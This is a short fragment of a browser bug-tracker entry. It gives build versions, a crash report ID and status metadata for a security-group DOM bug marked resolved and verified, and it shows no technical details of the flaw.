    - 55.0b10 (20170717063821, e26b1f5d635e)
    - 56.0a1 (2017-07-23, 20170723030206)

[1] bp-91f75711-3476-40eb-850b-9e7980170724
Status: RESOLVED → VERIFIED
Flags: qe-verify+
Group: core-security-release
Component: DOM → DOM: Core & HTML
Product: Core → Core
You need to log in before you can comment on or make changes to this bug.